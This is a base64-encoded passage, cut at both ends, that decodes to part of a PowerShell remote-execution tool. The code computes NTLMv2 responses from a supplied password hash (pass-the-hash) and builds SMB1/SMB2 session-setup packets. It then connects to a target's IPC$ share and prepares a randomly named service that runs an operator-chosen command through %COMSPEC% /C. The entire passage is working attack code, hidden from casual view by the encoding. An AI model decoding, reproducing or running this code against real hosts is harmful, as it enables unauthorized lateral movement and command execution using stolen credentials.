LU9iamVjdHtbQ2hhcl1bU3lzdGVtLkNvbnZlcnRdOjpUb0ludDE2KCRfLDE2KX0NCiAgICAkYXV0aF9ob3N0bmFtZSA9IChHZXQtQ2hpbGRJdGVtIC1wYXRoIGVudjpjb21wdXRlcm5hbWUpLlZhbHVlDQogICAgJGF1dGhfaG9zdG5hbWVfYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCRhdXRoX2hvc3RuYW1lKQ0KICAgICRhdXRoX2RvbWFpbl9ieXRlcyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0Qnl0ZXMoJERvbWFpbikNCiAgICAkYXV0aF91c2VybmFtZV9ieXRlcyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0Qnl0ZXMoJHVzZXJuYW1lKQ0KICAgICRhdXRoX2RvbWFpbl9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2RvbWFpbl9ieXRlcy5MZW5ndGgpDQogICAgJGF1dGhfZG9tYWluX2xlbmd0aCA9ICRhdXRoX2RvbWFpbl9sZW5ndGhbMCwxXQ0KICAgICRhdXRoX2RvbWFpbl9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2RvbWFpbl9ieXRlcy5MZW5ndGgpDQogICAgJGF1dGhfZG9tYWluX2xlbmd0aCA9ICRhdXRoX2RvbWFpbl9sZW5ndGhbMCwxXQ0KICAgICRhdXRoX3VzZXJuYW1lX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoKQ0KICAgICRhdXRoX3VzZXJuYW1lX2xlbmd0aCA9ICRhdXRoX3VzZXJuYW1lX2xlbmd0aFswLDFdDQogICAgJGF1dGhfaG9zdG5hbWVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9ob3N0bmFtZV9ieXRlcy5MZW5ndGgpDQogICAgJGF1dGhfaG9zdG5hbWVfbGVuZ3RoID0gJGF1dGhfaG9zdG5hbWVfbGVuZ3RoWzAsMV0NCiAgICAkYXV0aF9kb21haW5fb2Zmc2V0ID0gMHg0MCwweDAwLDB4MDAsMHgwMA0KICAgICRhdXRoX3VzZXJuYW1lX29mZnNldCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCArIDY0KQ0KICAgICRhdXRoX2hvc3RuYW1lX29mZnNldCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCArICRhdXRoX3VzZXJuYW1lX2J5dGVzLkxlbmd0aCArIDY0KQ0KICAgICRhdXRoX0xNX29mZnNldCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCArICRhdXRoX3VzZXJuYW1lX2J5dGVzLkxlbmd0aCArICRhdXRoX2hvc3RuYW1lX2J5dGVzLkxlbmd0aCArIDY0KQ0KICAgICRhdXRoX05UTE1fb2Zmc2V0ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoICsgJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoICsgJGF1dGhfaG9zdG5hbWVfYnl0ZXMuTGVuZ3RoICsgODgpDQogICAgJEhNQUNfTUQ1ID0gTmV3LU9iamVjdCBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkhNQUNNRDUNCiAgICAkSE1BQ19NRDUua2V5ID0gJE5UTE1faGFzaF9ieXRlcw0KICAgICR1c2VybmFtZV9hbmRfdGFyZ2V0ID0gJHVzZXJuYW1lLlRvVXBwZXIoKQ0KICAgICR1c2VybmFtZV9hbmRfdGFyZ2V0X2J5dGVzID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkdXNlcm5hbWVfYW5kX3RhcmdldCkNCiAgICAkdXNlcm5hbWVfYW5kX3RhcmdldF9ieXRlcyArPSAkYXV0aF9kb21haW5fYnl0ZXMNCiAgICAkTlRMTXYyX2hhc2ggPSAkSE1BQ19NRDUuQ29tcHV0ZUhhc2goJHVzZXJuYW1lX2FuZF90YXJnZXRfYnl0ZXMpDQogICAgJGNsaWVudF9jaGFsbGVuZ2UgPSBbU3RyaW5nXSgxLi44IHwgRm9yRWFjaC1PYmplY3QgeyJ7MDpYMn0iIC1mIChHZXQtUmFuZG9tIC1NaW5pbXVtIDEgLU1heGltdW0gMjU1KX0pDQogICAgJGNsaWVudF9jaGFsbGVuZ2VfYnl0ZXMgPSAkY2xpZW50X2NoYWxsZW5nZS5TcGxpdCgiICIpIHwgRm9yRWFjaC1PYmplY3R7W0NoYXJdW1N5c3RlbS5Db252ZXJ0XTo6VG9JbnQxNigkXywxNil9DQoNCiAgICAkc2VjdXJpdHlfYmxvYl9ieXRlcyA9IDB4MDEsMHgwMSwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl90YXJnZXRfdGltZV9ieXRlcyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNsaWVudF9jaGFsbGVuZ2VfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfdGFyZ2V0X2RldGFpbHMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMA0KDQogICAgJHNlcnZlcl9jaGFsbGVuZ2VfYW5kX3NlY3VyaXR5X2Jsb2JfYnl0ZXMgPSAkU01CX05UTE1fY2hhbGxlbmdlICsgJHNlY3VyaXR5X2Jsb2JfYnl0ZXMNCiAgICAkSE1BQ19NRDUua2V5ID0gJE5UTE12Ml9oYXNoDQogICAgJE5UTE12Ml9yZXNwb25zZSA9ICRITUFDX01ENS5Db21wdXRlSGFzaCgkc2VydmVyX2NoYWxsZW5nZV9hbmRfc2VjdXJpdHlfYmxvYl9ieXRlcykNCg0KICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICB7DQogICAgICAgICRzZXNzaW9uX2Jhc2Vfa2V5ID0gJEhNQUNfTUQ1LkNvbXB1dGVIYXNoKCROVExNdjJfcmVzcG9uc2UpDQogICAgICAgICRzZXNzaW9uX2tleSA9ICRzZXNzaW9uX2Jhc2Vfa2V5DQogICAgICAgICRITUFDX1NIQTI1NiA9IE5ldy1PYmplY3QgU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5ITUFDU0hBMjU2DQogICAgICAgICRITUFDX1NIQTI1Ni5rZXkgPSAkc2Vzc2lvbl9rZXkNCiAgICB9DQoNCiAgICAkTlRMTXYyX3Jlc3BvbnNlID0gJE5UTE12Ml9yZXNwb25zZSArICRzZWN1cml0eV9ibG9iX2J5dGVzDQogICAgJE5UTE12Ml9yZXNwb25zZV9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCROVExNdjJfcmVzcG9uc2UuTGVuZ3RoKQ0KICAgICROVExNdjJfcmVzcG9uc2VfbGVuZ3RoID0gJE5UTE12Ml9yZXNwb25zZV9sZW5ndGhbMCwxXQ0KICAgICRTTUJfc2Vzc2lvbl9rZXlfb2Zmc2V0ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoICsgJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoICsgJGF1dGhfaG9zdG5hbWVfYnl0ZXMuTGVuZ3RoICsgJE5UTE12Ml9yZXNwb25zZS5MZW5ndGggKyA4OCkNCg0KICAgICROVExNU1NQX3Jlc3BvbnNlID0gMHg0ZSwweDU0LDB4NGMsMHg0ZCwweDUzLDB4NTMsMHg1MCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDMsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgxOCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MTgsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfTE1fb2Zmc2V0ICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJE5UTE12Ml9yZXNwb25zZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX05UTE1fb2Zmc2V0ICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9kb21haW5fb2Zmc2V0ICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF91c2VybmFtZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX3VzZXJuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfdXNlcm5hbWVfb2Zmc2V0ICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9ob3N0bmFtZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfb2Zmc2V0ICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3Nlc3Npb25fa2V5X2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zZXNzaW9uX2tleV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2Vzc2lvbl9rZXlfb2Zmc2V0ICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX25lZ290aWF0ZV9mbGFncyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfZG9tYWluX2J5dGVzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF91c2VybmFtZV9ieXRlcyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlDQoNCiAgICBpZigkU01CX3ZlcnNpb24gLWVxICdTTUIxJykNCiAgICB7DQogICAgICAgICRTTUJfdXNlcl9JRCA9ICRTTUJfY2xpZW50X3JlY2VpdmVbMzIsMzNdDQogICAgICAgICRwYWNrZXRfU01CX2hlYWRlciA9IEdldC1QYWNrZXRTTUJIZWFkZXIgMHg3MyAweDE4IDB4MDcsMHhjOCAweGZmLDB4ZmYgJHByb2Nlc3NfSURfYnl0ZXMgJFNNQl91c2VyX0lEDQoNCiAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICB7DQogICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9GbGFnczIiXSA9IDB4MDUsMHg0OA0KICAgICAgICB9DQoNCiAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfVXNlcklEIl0gPSAkU01CX3VzZXJfSUQNCiAgICAgICAgJHBhY2tldF9OVExNU1NQX25lZ290aWF0ZSA9IEdldC1QYWNrZXROVExNU1NQQXV0aCAkTlRMTVNTUF9yZXNwb25zZQ0KICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAkTlRMTVNTUF9uZWdvdGlhdGUgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05UTE1TU1BfbmVnb3RpYXRlICAgICAgDQogICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QgJE5UTE1TU1BfbmVnb3RpYXRlDQogICAgICAgICRTTUJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2RhdGENCiAgICAgICAgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IEdldC1QYWNrZXROZXRCSU9TU2Vzc2lvblNlcnZpY2UgJFNNQl9oZWFkZXIuTGVuZ3RoICRTTUJfZGF0YS5MZW5ndGgNCiAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGENCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgJFNNQjJfbWVzc2FnZV9JRCArPSAxDQogICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXIgPSBHZXQtUGFja2V0U01CMkhlYWRlciAweDAxLDB4MDAgJFNNQjJfbWVzc2FnZV9JRCAkU01CMl90cmVlX0lEICRTTUJfc2Vzc2lvbl9JRA0KICAgICAgICAkcGFja2V0X05UTE1TU1BfYXV0aCA9IEdldC1QYWNrZXROVExNU1NQQXV0aCAkTlRMTVNTUF9yZXNwb25zZQ0KICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICROVExNU1NQX2F1dGggPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05UTE1TU1BfYXV0aCAgICAgICAgDQogICAgICAgICRwYWNrZXRfU01CMl9kYXRhID0gR2V0LVBhY2tldFNNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0ICROVExNU1NQX2F1dGgNCiAgICAgICAgJFNNQjJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9kYXRhDQogICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFNNQjJfZGF0YS5MZW5ndGgNCiAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YQ0KICAgIH0NCg0KICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KDQogICAgaWYoJFNNQl92ZXJzaW9uIC1lcSAnU01CMScpDQogICAgew0KDQogICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVs5Li4xMl0pIC1lcSAnMDAtMDAtMDAtMDAnKQ0KICAgICAgICB7DQogICAgICAgICAgICBXcml0ZS1WZXJib3NlICIkb3V0cHV0X3VzZXJuYW1lIHN1Y2Nlc3NmdWxseSBhdXRoZW50aWNhdGVkIG9uICRUYXJnZXQiDQogICAgICAgICAgICAkbG9naW5fc3VjY2Vzc2Z1bCA9ICR0cnVlDQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBXcml0ZS1PdXRwdXQgIiRvdXRwdXRfdXNlcm5hbWUgZmFpbGVkIHRvIGF1dGhlbnRpY2F0ZSBvbiAkVGFyZ2V0Ig0KICAgICAgICAgICAgJGxvZ2luX3N1Y2Nlc3NmdWwgPSAkZmFsc2UNCiAgICAgICAgfQ0KDQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMi4uMTVdKSAtZXEgJzAwLTAwLTAwLTAwJykNCiAgICAgICAgew0KICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiJG91dHB1dF91c2VybmFtZSBzdWNjZXNzZnVsbHkgYXV0aGVudGljYXRlZCBvbiAkVGFyZ2V0Ig0KICAgICAgICAgICAgJGxvZ2luX3N1Y2Nlc3NmdWwgPSAkdHJ1ZQ0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICIkb3V0cHV0X3VzZXJuYW1lIGZhaWxlZCB0byBhdXRoZW50aWNhdGUgb24gJFRhcmdldCINCiAgICAgICAgICAgICRsb2dpbl9zdWNjZXNzZnVsID0gJGZhbHNlDQogICAgICAgIH0NCg0KICAgIH0NCg0KICAgIGlmKCRsb2dpbl9zdWNjZXNzZnVsKQ0KICAgIHsNCiAgICAgICAgJFNNQl9wYXRoID0gIlxcIiArICRUYXJnZXQgKyAiXElQQyQiDQoNCiAgICAgICAgaWYoJFNNQl92ZXJzaW9uIC1lcSAnU01CMScpDQogICAgICAgIHsNCiAgICAgICAgICAgICRTTUJfcGF0aF9ieXRlcyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0Qnl0ZXMoJFNNQl9wYXRoKSArIDB4MDANCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgICRTTUJfcGF0aF9ieXRlcyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0Qnl0ZXMoJFNNQl9wYXRoKQ0KICAgICAgICB9DQoNCiAgICAgICAgJFNNQl9uYW1lZF9waXBlX1VVSUQgPSAweDgxLDB4YmIsMHg3YSwweDM2LDB4NDQsMHg5OCwweGYxLDB4MzUsMHhhZCwweDMyLDB4OTgsMHhmMCwweDM4LDB4MDAsMHgxMCwweDAzDQoNCiAgICAgICAgaWYoISRTZXJ2aWNlKQ0KICAgICAgICB7DQogICAgICAgICAgICAkU01CX3NlcnZpY2VfcmFuZG9tID0gW1N0cmluZ106OkpvaW4oIjAwLSIsKDEuLjIwIHwgRm9yRWFjaC1PYmplY3R7InswOlgyfS0iIC1mIChHZXQtUmFuZG9tIC1NaW5pbXVtIDY1IC1NYXhpbXVtIDkwKX0pKQ0KICAgICAgICAgICAgJFNNQl9zZXJ2aWNlID0gJFNNQl9zZXJ2aWNlX3JhbmRvbSAtcmVwbGFjZSAiLTAwIiwiIg0KICAgICAgICAgICAgJFNNQl9zZXJ2aWNlID0gJFNNQl9zZXJ2aWNlLlN1YnN0cmluZygwLCRTTUJfc2VydmljZS5MZW5ndGggLSAxKQ0KICAgICAgICAgICAgJFNNQl9zZXJ2aWNlID0gJFNNQl9zZXJ2aWNlLlNwbGl0KCItIikgfCBGb3JFYWNoLU9iamVjdHtbQ2hhcl1bU3lzdGVtLkNvbnZlcnRdOjpUb0ludDE2KCRfLDE2KX0NCiAgICAgICAgICAgICRTTUJfc2VydmljZSA9IE5ldy1PYmplY3QgU3lzdGVtLlN0cmluZyAoJFNNQl9zZXJ2aWNlLDAsJFNNQl9zZXJ2aWNlLkxlbmd0aCkNCiAgICAgICAgICAgICRTTUJfc2VydmljZV9yYW5kb20gKz0gJzAwLTAwLTAwLTAwLTAwJw0KICAgICAgICAgICAgJFNNQl9zZXJ2aWNlX2J5dGVzID0gJFNNQl9zZXJ2aWNlX3JhbmRvbS5TcGxpdCgiLSIpIHwgRm9yRWFjaC1PYmplY3R7W0NoYXJdW1N5c3RlbS5Db252ZXJ0XTo6VG9JbnQxNigkXywxNil9DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICAkU01CX3NlcnZpY2UgPSAkU2VydmljZQ0KICAgICAgICAgICAgJFNNQl9zZXJ2aWNlX2J5dGVzID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkU01CX3NlcnZpY2UpDQoNCiAgICAgICAgICAgIGlmKFtCb29sXSgkU01CX3NlcnZpY2UuTGVuZ3RoICUgMikpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJFNNQl9zZXJ2aWNlX2J5dGVzICs9IDB4MDAsMHgwMA0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRTTUJfc2VydmljZV9ieXRlcyArPSAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9DQoNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJFNNQl9zZXJ2aWNlX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFNNQl9zZXJ2aWNlLmxlbmd0aCArIDEpDQoNCiAgICAgICAgaWYoJENvbW1hbmRDT01TUEVDIC1lcSAnWScpDQogICAgICAgIHsNCiAgICAgICAgICAgICRDb21tYW5kID0gIiVDT01TUEVDJSAvQyBgIiIgKyAkQ29tbWFuZCArICJgIiINCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgICRDb21tYW5kID0gImAiIiArICRDb21tYW5kICsgImAiIg0KICAgICAgICB9DQoNCiAgICAgICAgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRCeXRlcygkQ29tbWFuZCkgfCBGb3JFYWNoLU9iamVjdHskU01CRXhlY19jb21tYW5kICs9ICJ7MDpYMn0tMDAtIiAtZiAkX30NCg0KICAgICAgICBpZihbQm9vbF0oJENvbW1hbmQuTGVuZ3RoICUgMikpDQogICAgICAgIHsNCiAgICAgICAgICAgICRTTUJFeGVjX2NvbW1hbmQgKz0gJzAwLTAwJw0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgJFNNQkV4ZWNfY29tbWFuZCArPSAnMDAtMDAtMDAtMDAnDQogICAgICAgIH0gICAgDQogICAgICAgIA0KICAgICAgICAkU01CRXhlY19jb21tYW5kX2J5dGVzID0gJFNNQkV4ZWNfY29tbWFuZC5TcGxpdCgiLSIpIHwgRm9yRWFjaC1PYmplY3R7W0NoYXJdW1N5c3RlbS5Db252ZXJ0XTo6VG9JbnQxNigkXywxNil9ICANCiAgICAgICAgJFNNQkV4ZWNfY29tbWFuZF9sZW5ndGhfYnl0ZXMgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRTTUJFeGVjX2NvbW1hbmRfYnl0ZXMuTGVuZ3RoIC8gMikNCiAgICAgICAgDQoNCiAgICAgICAgaWYoJFNNQl92ZXJzaW9uIC1lcSAnU01CMScpDQogICAgICAgIHsNCiAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1RyZWVDb25uZWN0QW5kWFJlcXVlc3QnDQoNCiAgICAgICAgICAgIDpTTUJfZXhlY3V0ZV9sb29wIHdoaWxlICgkU01CX2NsaWVudF9zdGFnZSAtbmUgJ2V4aXQnKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgc3dpdGNoICgkU01CX2NsaWVudF9zdGFnZSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJ1RyZWVDb25uZWN0QW5kWFJlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlciA9IEdldC1QYWNrZXRTTUJIZWFkZXIgMHg3NSAweDE4IDB4MDEsMHg0OCAweGZmLDB4ZmYgJHByb2Nlc3NfSURfYnl0ZXMgJFNNQl91c2VyX0lEDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTUQ1ID0gTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5NRDVDcnlwdG9TZXJ2aWNlUHJvdmlkZXINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9GbGFnczIiXSA9IDB4MDUsMHg0OA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmluZ19jb3VudGVyID0gMiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBbQnl0ZVtdXSRTTUJfc2lnbmluZ19zZXF1ZW5jZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFNNQl9zaWduaW5nX2NvdW50ZXIpICsgMHgwMCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduaW5nX3NlcXVlbmNlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhID0gR2V0LVBhY2tldFNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QgJFNNQl9wYXRoX2J5dGVzDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CX2hlYWRlci5MZW5ndGggJFNNQl9kYXRhLkxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduID0gJHNlc3Npb25fa2V5ICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkTUQ1LkNvbXB1dGVIYXNoKCRTTUJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25hdHVyZSA9ICRTTUJfc2lnbmF0dXJlWzAuLjddDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dX